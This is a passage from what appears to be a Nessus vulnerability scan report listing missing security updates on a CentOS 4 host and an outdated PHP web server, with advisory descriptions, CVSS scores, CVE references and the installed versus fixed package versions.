9.3 (CVSS2#AV:N/AC:M/Au:N/C:I/C:A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2011-0216
CVE	CVE-2011-2834
CVE	CVE-2011-3905
CVE	CVE-2011-3919
XREF	RHSA:2012:0016

Plugin Information

Published: 2012/01/12, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libxml2-2.6.16-10
Should be : libxml2-2.6.16-12.9
```

```
Remote package installed : libxml2-devel-2.6.16-10
Should be : libxml2-devel-2.6.16-12.9
```

```
Remote package installed : libxml2-python-2.6.16-10
Should be : libxml2-python-2.6.16-12.9
```

44647 - CentOS 4 : mysql (CESA-2010:0110)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated mysql packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

MySQL is a multi-user, multi-threaded SQL database server. It consists of the MySQL server daemon (mysqld) and many client programs and libraries.

Multiple flaws were discovered in the way MySQL handled symbolic links to tables created using the DATA DIRECTORY and INDEX DIRECTORY directives in CREATE TABLE statements. An attacker with CREATE and DROP table privileges and shell access to the database server could use these flaws to escalate their database privileges, or gain access to tables created by other database users. (CVE-2008-4098, CVE-2009-4030)

Note: Due to the security risks and previous security issues related to the use of the DATA DIRECTORY and INDEX DIRECTORY directives, users not depending on this feature should consider disabling it by adding 'symbolic-links=0' to the '[mysqld]' section of the 'my.cnf'

configuration file. In this update, an example of such a configuration was added to the default 'my.cnf' file.

An insufficient HTML entities quoting flaw was found in the mysql command line client's HTML output mode. If an attacker was able to inject arbitrary HTML tags into data stored in a MySQL database, which was later retrieved using the mysql command line client and its HTML output mode, they could perform a cross-site scripting (XSS) attack against victims viewing the HTML output in a web browser.

(CVE-2008-4456)

Multiple format string flaws were found in the way the MySQL server logged user commands when creating and deleting databases. A remote, authenticated attacker with permissions to CREATE and DROP databases could use these flaws to formulate a specially crafted SQL command that would cause a temporary denial of service (open connections to mysqld are terminated). (CVE-2009-2446)

Note: To exploit the CVE-2009-2446 flaws, the general query log (the mysqld '--log' command line option or the 'log' option in 'my.cnf') must be enabled. This logging is not enabled by default.

All MySQL users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues. After installing this update, the MySQL server daemon (mysqld) will be restarted automatically.

See Also

<http://www.nessus.org/u?921fbb74>

<http://www.nessus.org/u?f392f38e>

Solution

Update the affected mysql packages.

Risk Factor

High

CVSS v2.0 Base Score

8.5 (CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.0 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29106
BID	31486
BID	35609
BID	37075
CVE	CVE-2008-2079
CVE	CVE-2008-4097
CVE	CVE-2008-4098
CVE	CVE-2008-4456
CVE	CVE-2009-2446
CVE	CVE-2009-4030
XREF	RHSA:2010:0110
XREF	CWE:59
XREF	CWE:79
XREF	CWE:134
XREF	CWE:264

Plugin Information

Published: 2010/02/18, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : mysql-4.1.22-2.el4
Should be : mysql-4.1.22-2.el4_8.3
```

```
Remote package installed : mysql-devel-4.1.22-2.el4
Should be : mysql-devel-4.1.22-2.el4_8.3
```

```
Remote package installed : mysql-server-4.1.22-2.el4
Should be : mysql-server-4.1.22-2.el4_8.3
```

49180 - CentOS 4 : rpm (CESA-2010:0678)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated rpm packages that fix two security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The RPM Package Manager (RPM) is a command line driven package management system capable of installing, uninstalling, verifying, querying, and updating software packages.

It was discovered that RPM did not remove setuid and setgid bits set on binaries when upgrading or removing packages. A local attacker able to create hard links to binaries could use this flaw to keep those binaries on the system, at a specific version level and with the setuid or setgid bit set, even if the package providing them was upgraded or removed by a system administrator. This could have security implications if a package was upgraded or removed because of a security flaw in a setuid or setgid program. (CVE-2005-4889, CVE-2010-2059)

All users of rpm are advised to upgrade to these updated packages, which contain a backported patch to correct these issues.

See Also

<http://www.nessus.org/u?b16b7d6b>
<http://www.nessus.org/u?258ded1d>

Solution

Update the affected rpm packages.

Risk Factor

High

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.0 (CVSS2#E:F/RL:OF/RC:C)

References

BID	40512
CVE	CVE-2005-4889
CVE	CVE-2010-2059
CVE	CVE-2010-2199
XREF	RHSA:2010:0678

Plugin Information

Published: 2010/09/12, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : popt-1.9.1-22_nonptl
Should be : popt-1.9.1-33_nonptl.el4_8.1

Remote package installed : rpm-4.3.3-22_nonptl
Should be : rpm-4.3.3-33_nonptl.el4_8.1

Remote package installed : rpm-build-4.3.3-22_nonptl
Should be : rpm-build-4.3.3-33_nonptl.el4_8.1

Remote package installed : rpm-devel-4.3.3-22_nonptl
Should be : rpm-devel-4.3.3-33_nonptl.el4_8.1

Remote package installed : rpm-libs-4.3.3-22_nonptl
Should be : rpm-libs-4.3.3-33_nonptl.el4_8.1

Remote package installed : rpm-python-4.3.3-22_nonptl
Should be : rpm-python-4.3.3-33_nonptl.el4_8.1

58109 - CentOS 4 : samba (CESA-2012:0332)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated samba packages that fix one security issue are now available for Red Hat Enterprise Linux 4 and 5, and Red Hat Enterprise Linux 5.3 Long Life, and 5.6 Extended Update Support.

The Red Hat Security Response Team has rated this update as having critical security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Samba is a suite of programs used by machines to share files, printers, and other information.

An input validation flaw was found in the way Samba handled Any Batched (AndX) requests. A remote, unauthenticated attacker could send a specially crafted SMB packet to the Samba server, possibly resulting in arbitrary code execution with the privileges of the Samba server (root). (CVE-2012-0870)

Red Hat would like to thank the Samba team for reporting this issue.

Upstream acknowledges Andy Davis of NGS Secure as the original reporter.

Users of Samba are advised to upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing this update, the smb service will be restarted automatically.

See Also

<http://www.nessus.org/u?c067e9c7>

Solution

Update the affected samba packages.

Risk Factor

High

CVSS v2.0 Base Score

7.9 (CVSS2#AV:A/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	52103
CVE	CVE-2012-0870
XREF	RHSA:2012:0332

Plugin Information

Published: 2012/02/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : samba-client-3.0.10-1.4E.11
Should be : samba-client-3.0.33-0.35.e14
```

```
Remote package installed : samba-common-3.0.10-1.4E.11
Should be : samba-common-3.0.33-0.35.e14
```

50810 - CentOS 4 : systemtap (CESA-2010:0895)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated systemtap packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system. staprun, the SystemTap runtime tool, is used for managing SystemTap kernel modules (for example, loading them).

It was discovered that staprun did not properly sanitize the environment before executing the modprobe command to load an additional kernel module. A local, unprivileged user could use this flaw to escalate their privileges. (CVE-2010-4170)

Note: On Red Hat Enterprise Linux 4, an attacker must be a member of the `stapusr` group to exploit this issue. Also note that, after installing this update, users already in the `stapdev` group must be added to the `stapusr` group in order to be able to run the `staprund` tool.

Red Hat would like to thank Tavis Ormandy for reporting this issue.

SystemTap users should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?7604113d>
<http://www.nessus.org/u?2d065d50>

Solution

Update the affected systemtap packages.

Risk Factor

High

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2010-4170
XREF	RHSA:2010:0895

Exploitable With

Metasploit (true)

Plugin Information

Published: 2010/11/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : systemtap-0.5.12-1
Should be : systemtap-0.6.2-2.el4_8.3
```

```
Remote package installed : systemtap-runtime-0.5.12-1
Should be : systemtap-runtime-0.6.2-2.el4_8.3
```

51784 - CentOS 4 : wireshark (CESA-2011:0013)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated wireshark packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Wireshark is a program for monitoring network traffic. Wireshark was previously known as Ethereal.

An array index error, leading to a stack-based buffer overflow, was found in the Wireshark ENTTEC dissector. If Wireshark read a malformed packet off a network or opened a malicious dump file, it could crash or, possibly, execute arbitrary code as the user running Wireshark.
(CVE-2010-4538)

Users of Wireshark should upgrade to these updated packages, which contain a backported patch to correct this issue. All running instances of Wireshark must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?223581f9>
<http://www.nessus.org/u?b121192d>

Solution

Update the affected wireshark packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.7 (CVSS2#E:F/RL:OF/RC:C)

References

BID 45634
CVE CVE-2010-4538
XREF RHSA:2011:0013

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2011/01/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : wireshark-0.99.5-EL4.1
Should be : wireshark-1.0.15-1.el4_8.3
```

43667 - CentOS 4 : xorg-x11 (CESA-2008:0030)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated xorg-x11 packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

[Updated 18th January 2008] The original packages distributed with this errata had a bug which could cause some X applications to fail on 32-bit platforms. We have updated the packages to correct this bug.

The xorg-x11 packages contain X.Org, an open source implementation of the X Window System. It provides the basic low-level functionality that full-fledged graphical user interfaces are designed upon.

Two integer overflow flaws were found in the X.Org server's EVI and MIT-SHM modules. A malicious authorized client could exploit these issues to cause a denial of service (crash), or potentially execute arbitrary code with root privileges on the X.Org server.
(CVE-2007-6429)

A heap based buffer overflow flaw was found in the way the X.Org server handled malformed font files. A malicious local user could exploit these issues to potentially execute arbitrary code with the privileges of the X.Org server. (CVE-2008-0006)

A memory corruption flaw was found in the X.Org server's XInput extension. A malicious authorized client could exploit this issue to cause a denial of service (crash), or potentially execute arbitrary code with root privileges on the X.Org server. (CVE-2007-6427)

An input validation flaw was found in the X.Org server's XFree86-Misc extension. A malicious authorized client could exploit this issue to cause a denial of service (crash), or potentially execute arbitrary code with root privileges on the X.Org server. (CVE-2007-5760)

An information disclosure flaw was found in the X.Org server's TOG-CUP extension. A malicious authorized client could exploit this issue to cause a denial of service (crash), or potentially view arbitrary memory content within the X server's address space. (CVE-2007-6428)

An integer and heap overflow flaw were found in the X.Org font server, xfs. A user with the ability to connect to the font server could have been able to cause a denial of service (crash), or potentially execute arbitrary code with the permissions of the font server.
(CVE-2007-4568, CVE-2007-4990)

A flaw was found in the X.Org server's XC-SECURITY extension, that could have allowed a local user to verify the existence of an arbitrary file, even in directories that are not normally accessible to that user. (CVE-2007-5958)

Users of xorg-x11 should upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?772661d4>
<http://www.nessus.org/u?1d27d810>
<http://www.nessus.org/u?72ef5b8d>

Solution

Update the affected xorg-x11 packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.7 (CVSS2#E:F/RL:OF/RC:C)

References

BID	25898
BID	27350
BID	27351
BID	27352
BID	27353
BID	27354
BID	27355
BID	27356
CVE	CVE-2007-4568
CVE	CVE-2007-4990
CVE	CVE-2007-5760
CVE	CVE-2007-5958
CVE	CVE-2007-6427
CVE	CVE-2007-6428
CVE	CVE-2007-6429
CVE	CVE-2008-0006
XREF	RHSA:2008:0030
XREF	CWE:119
XREF	CWE:189
XREF	CWE:200
XREF	CWE:362
XREF	CWE:399

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : xorg-x11-Mesa-libGL-6.8.2-1.EL.18
Should be : xorg-x11-Mesa-libGL-6.8.2-1.EL.33.0.2
```

```
Remote package installed : xorg-x11-font-utils-6.8.2-1.EL.18
Should be : xorg-x11-font-utils-6.8.2-1.EL.33.0.2
```

```
Remote package installed : xorg-x11-libs-6.8.2-1.EL.18
Should be : xorg-x11-libs-6.8.2-1.EL.33.0.2
```

```
Remote package installed : xorg-x11-xauth-6.8.2-1.EL.18
Should be : xorg-x11-xauth-6.8.2-1.EL.33.0.2
```

```
Remote package installed : xorg-x11-xfs-6.8.2-1.EL.18
Should be : xorg-x11-xfs-6.8.2-1.EL.33.0.2
```

33364 - CentOS 4 : xorg-x11 (CESA-2008:0503)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated xorg-x11 packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The xorg-x11 packages contain X.Org, an open source implementation of the X Window System. It provides the basic low-level functionality that full-fledged graphical user interfaces are designed upon.

An input validation flaw was discovered in X.org's Security and Record extensions. A malicious authorized client could exploit this issue to cause a denial of service (crash) or, potentially, execute arbitrary code with root privileges on the X.Org server. (CVE-2008-1377)

Multiple integer overflow flaws were found in X.org's Render extension. A malicious authorized client could exploit these issues to cause a denial of service (crash) or, potentially, execute arbitrary code with root privileges on the X.Org server. (CVE-2008-2360, CVE-2008-2361)

An input validation flaw was discovered in X.org's MIT-SHM extension.

A client connected to the X.org server could read arbitrary server memory. This could result in the sensitive data of other users of the X.org server being disclosed. (CVE-2008-1379)

Users of xorg-x11 should upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?df92451d>
<http://www.nessus.org/u?2e33299b>
<http://www.nessus.org/u?11e4ea51>

Solution

Update the affected xorg-x11 packages.

Risk Factor

High

CVSS v2.0 Base Score

9.0 (CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	29665
BID	29666
BID	29668
BID	29669
CVE	CVE-2008-1377
CVE	CVE-2008-1379
CVE	CVE-2008-2360
CVE	CVE-2008-2361
XREF	RHSA:2008:0503
XREF	CWE:189

Plugin Information

Published: 2008/07/02, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : xorg-x11-Mesa-libGL-6.8.2-1.EL.18
Should be : xorg-x11-Mesa-libGL-6.8.2-1.EL.33.0.4
```

```
Remote package installed : xorg-x11-font-utils-6.8.2-1.EL.18
Should be : xorg-x11-font-utils-6.8.2-1.EL.33.0.4
```

```
Remote package installed : xorg-x11-libs-6.8.2-1.EL.18
Should be : xorg-x11-libs-6.8.2-1.EL.33.0.4
```

```
Remote package installed : xorg-x11-xauth-6.8.2-1.EL.18
Should be : xorg-x11-xauth-6.8.2-1.EL.33.0.4
```

```
Remote package installed : xorg-x11-xfs-6.8.2-1.EL.18
Should be : xorg-x11-xfs-6.8.2-1.EL.33.0.4
```

53494 - CentOS 4 : xorg-x11 (CESA-2011:0432)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated xorg-x11 packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

X.Org is an open source implementation of the X Window System. It provides the basic low-level functionality that full-fledged graphical user interfaces are designed upon.

A flaw was found in the X.Org X server resource database utility, xrdb. Certain variables were not properly sanitized during the launch of a user's graphical session, which could possibly allow a remote attacker to execute arbitrary code with root privileges, if they were able to make the display manager execute xrdb with a specially crafted X client hostname. For example, by configuring the hostname on the target system via a crafted DHCP reply, or by using the X Display Manager Control Protocol (XDMCP) to connect to that system from a host that has a special DNS name. (CVE-2011-0465)

Red Hat would like to thank Matthieu Herrb for reporting this issue.

Upstream acknowledges Sebastian Krahmer of the SuSE Security Team as the original reporter.

Users of xorg-x11 should upgrade to these updated packages, which contain a backported patch to resolve this issue. All running X.Org server instances must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?242c6a48>

Solution

Update the affected xorg-x11 packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

II

References

BID	47189
CVE	CVE-2011-0465
XREF	RHSA:2011:0432
XREF	IAVA:2017-A-0098-S

Plugin Information

Published: 2011/04/20, Modified: 2025/02/28

Plugin Output

tcp/0

```
Remote package installed : xorg-x11-Mesa-libGL-6.8.2-1.EL.18
Should be : xorg-x11-Mesa-libGL-6.8.2-1.EL.67
```

```
Remote package installed : xorg-x11-font-utils-6.8.2-1.EL.18
Should be : xorg-x11-font-utils-6.8.2-1.EL.67
```

```
Remote package installed : xorg-x11-libs-6.8.2-1.EL.18
Should be : xorg-x11-libs-6.8.2-1.EL.67
```

```
Remote package installed : xorg-x11-xauth-6.8.2-1.EL.18
Should be : xorg-x11-xauth-6.8.2-1.EL.67
```

Remote package installed : xorg-x11-xfs-6.8.2-1.EL.18
Should be : xorg-x11-xfs-6.8.2-1.EL.69

55840 - CentOS 4 : xorg-x11 (CESA-2011:1155)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated xorg-x11 packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

X.Org is an open source implementation of the X Window System. It provides the basic low-level functionality that full-fledged graphical user interfaces are designed upon. These xorg-x11 packages also provide the X.Org libXfont runtime library.

A buffer overflow flaw was found in the way the libXfont library, used by the X.Org server, handled malformed font files compressed using UNIX compress. A malicious, local user could exploit this issue to potentially execute arbitrary code with the privileges of the X.Org server. (CVE-2011-2895)

Users of xorg-x11 should upgrade to these updated packages, which contain a backported patch to resolve this issue. All running X.Org server instances must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?99a5920a>
<http://www.nessus.org/u?17d63115>

Solution

Update the affected xorg-x11 packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	49124
CVE	CVE-2011-2895
XREF	RHSA:2011:1155

Plugin Information

Published: 2011/08/15, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : xorg-x11-Mesa-libGL-6.8.2-1.EL.18
Should be : xorg-x11-Mesa-libGL-6.8.2-1.EL.69

Remote package installed : xorg-x11-font-utils-6.8.2-1.EL.18
Should be : xorg-x11-font-utils-6.8.2-1.EL.69

Remote package installed : xorg-x11-libs-6.8.2-1.EL.18
Should be : xorg-x11-libs-6.8.2-1.EL.69

Remote package installed : xorg-x11-xauth-6.8.2-1.EL.18
Should be : xorg-x11-xauth-6.8.2-1.EL.69

Remote package installed : xorg-x11-xfs-6.8.2-1.EL.18
Should be : xorg-x11-xfs-6.8.2-1.EL.69

56780 - CentOS 4 : xorg-x11 (CESA-2011:1360)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated xorg-x11 packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

X.Org is an open source implementation of the X Window System. It provides the basic low-level functionality that full-fledged graphical user interfaces are designed upon.

Multiple input sanitization flaws were found in the X.Org GLX (OpenGL extension to the X Window System) extension. A malicious, authorized client could use these flaws to crash the X.Org server or, potentially, execute arbitrary code with root privileges.
(CVE-2010-4818)

An input sanitization flaw was found in the X.Org Render extension. A malicious, authorized client could use this flaw to leak arbitrary memory from the X.Org server process, or possibly crash the X.Org server. (CVE-2010-4819)

Users of xorg-x11 should upgrade to these updated packages, which contain a backported patch to resolve these issues. All running X.Org server instances must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?b59d1fce>
<http://www.nessus.org/u?d72bc013>

Solution

Update the affected xorg-x11 packages.

Risk Factor

High

CVSS v2.0 Base Score

8.5 (CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C)

References

CVE	CVE-2010-4818
CVE	CVE-2010-4819
XREF	RHSA:2011:1360

Plugin Information

Published: 2011/11/14, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : xorg-x11-Mesa-libGL-6.8.2-1.EL.18
Should be : xorg-x11-Mesa-libGL-6.8.2-1.EL.70

Remote package installed : xorg-x11-font-utils-6.8.2-1.EL.18
Should be : xorg-x11-font-utils-6.8.2-1.EL.70

Remote package installed : xorg-x11-libs-6.8.2-1.EL.18
Should be : xorg-x11-libs-6.8.2-1.EL.70

Remote package installed : xorg-x11-xauth-6.8.2-1.EL.18
Should be : xorg-x11-xauth-6.8.2-1.EL.70

Remote package installed : xorg-x11-xfs-6.8.2-1.EL.18
Should be : xorg-x11-xfs-6.8.2-1.EL.70
```

15973 - PHP < 4.3.10 / 5.0.3 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is potentially affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is prior to 4.3.10 / 5.0.3. It is, therefore, affected by multiple security issues that could, under certain circumstances, allow an attacker to execute arbitrary code on the remote host, provided that the attacker can pass arbitrary data to some functions, or to bypass safe_mode.

See Also

<http://www.php.net/ChangeLog-5.php#5.0.3>

Solution

Upgrade to PHP 5.0.3 or 4.3.10.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	11964
BID	11981
BID	11992
BID	12045
CVE	CVE-2004-1018
CVE	CVE-2004-1019
CVE	CVE-2004-1020
CVE	CVE-2004-1063
CVE	CVE-2004-1064
CVE	CVE-2004-1065
XREF	CWE:20

Plugin Information

Published: 2004/12/15, Modified: 2024/11/22

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.3.10 / 5.0.3
```

15973 - PHP < 4.3.10 / 5.0.3 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is potentially affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is prior to 4.3.10 / 5.0.3. It is, therefore, affected by multiple security issues that could, under certain circumstances, allow an attacker to execute arbitrary code on the remote host, provided that the attacker can pass arbitrary data to some functions, or to bypass safe_mode.

See Also

<http://www.php.net/ChangeLog-5.php#5.0.3>

Solution

Upgrade to PHP 5.0.3 or 4.3.10.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	11964
BID	11981
BID	11992
BID	12045
CVE	CVE-2004-1018
CVE	CVE-2004-1019
CVE	CVE-2004-1020
CVE	CVE-2004-1063
CVE	CVE-2004-1064
CVE	CVE-2004-1065
XREF	CWE:20

Plugin Information

Published: 2004/12/15, Modified: 2024/11/22

Plugin Output

tcp/443/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.3.10 / 5.0.3

18033 - PHP < 4.3.11 / 5.0.3 Multiple Unspecified Vulnerabilities

Synopsis

The remote server is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is prior to 4.3.11 / 5.0.3. It is, therefore, potentially affected by a set of vulnerabilities in the EXIF module.

See Also

<http://www.php.net/ChangeLog-5.php#5.0.4>
<http://www.php.net/ChangeLog-4.php#4.3.11>

Solution

Upgrade to PHP 5.0.3 or 4.3.11.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	13143
BID	13163
BID	13164

Plugin Information

Published: 2005/04/13, Modified: 2024/11/22

Plugin Output

tcp/80/www

Version source : X-Powered-By: PHP/4.3.9

Installed version : 4.3.9
Fixed version : 5.0.3 / 4.3.11

18033 - PHP < 4.3.11 / 5.0.3 Multiple Unspecified Vulnerabilities

Synopsis

The remote server is affected by multiple vulnerabilities.

Description

According to its banner, the version of PHP installed on the remote host is prior to 4.3.11 / 5.0.3. It is, therefore, potentially affected by a set of vulnerabilities in the EXIF module.

See Also

<http://www.php.net/ChangeLog-5.php#5.0.4>
<http://www.php.net/ChangeLog-4.php#4.3.11>

Solution

Upgrade to PHP 5.0.3 or 4.3.11.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID 13143
BID 13163
BID 13164

Plugin Information

Published: 2005/04/13, Modified: 2024/11/22

Plugin Output

tcp/443/www

Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 5.0.3 / 4.3.11

20111 - PHP < 4.4.1 / 5.0.6 Multiple Vulnerabilities

Synopsis

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.1 or 5.0.6. Such versions fail to protect the '\$GLOBALS' superglobals variable from being overwritten due to weaknesses in the file upload handling code as well as the 'extract()' and 'import_request_variables()' functions. Depending on the nature of the PHP applications on the affected host, exploitation of this issue may lead to any number of attacks, including arbitrary code execution.

In addition, these versions may enable an attacker to exploit an integer overflow flaw in certain certain versions of the PCRE library, to enable PHP's 'register_globals' setting even if explicitly disabled in the configuration, and to launch cross-site scripting attacks involving PHP's 'phpinfo()' function.

See Also

http://www.hardened-php.net/advisory_182005.77.html
http://www.hardened-php.net/advisory_192005.78.html
http://www.hardened-php.net/advisory_202005.79.html
http://www.php.net/release_4_4_1.php

Solution

Upgrade to PHP version 4.4.1 / 5.0.6 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	14620
BID	15248
BID	15249
BID	15250
CVE	CVE-2002-0229
CVE	CVE-2005-2491
CVE	CVE-2005-3388
CVE	CVE-2005-3389
CVE	CVE-2005-3390
XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2005/11/01, Modified: 2025/05/26

Plugin Output

tcp/80/www

```
Version source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
Fixed version : 4.4.1 / 5.0.6
```

20111 - PHP < 4.4.1 / 5.0.6 Multiple Vulnerabilities**Synopsis**

The remote web server uses a version of PHP that is affected by multiple flaws.

Description

According to its banner, the version of PHP installed on the remote host is older than 4.4.1 or 5.0.6. Such versions fail to protect the '\$GLOBALS' superglobals variable from being overwritten due to weaknesses in the file upload handling code as well as the 'extract()' and 'import_request_variables()' functions. Depending on the nature of the PHP applications on the affected host, exploitation of this issue may lead to any number of attacks, including arbitrary code execution.

In addition, these versions may enable an attacker to exploit an integer overflow flaw in certain certain versions of the PCRE library, to enable PHP's 'register_globals' setting even if explicitly disabled in the configuration, and to launch cross-site scripting attacks involving PHP's 'phpinfo()' function.

See Also

http://www.hardened-php.net/advisory_182005.77.html
http://www.hardened-php.net/advisory_192005.78.html
http://www.hardened-php.net/advisory_202005.79.html
http://www.php.net/release_4_4_1.php

Solution

Upgrade to PHP version 4.4.1 / 5.0.6 or later.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	14620
BID	15248
BID	15249
BID	15250
CVE	CVE-2002-0229
CVE	CVE-2005-2491
CVE	CVE-2005-3388
CVE	CVE-2005-3389
CVE	CVE-2005-3390
XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2005/11/01, Modified: 2025/05/26

Plugin Output

tcp/443/www

```
Version source : X-Powered-By: PHP/4.3.9
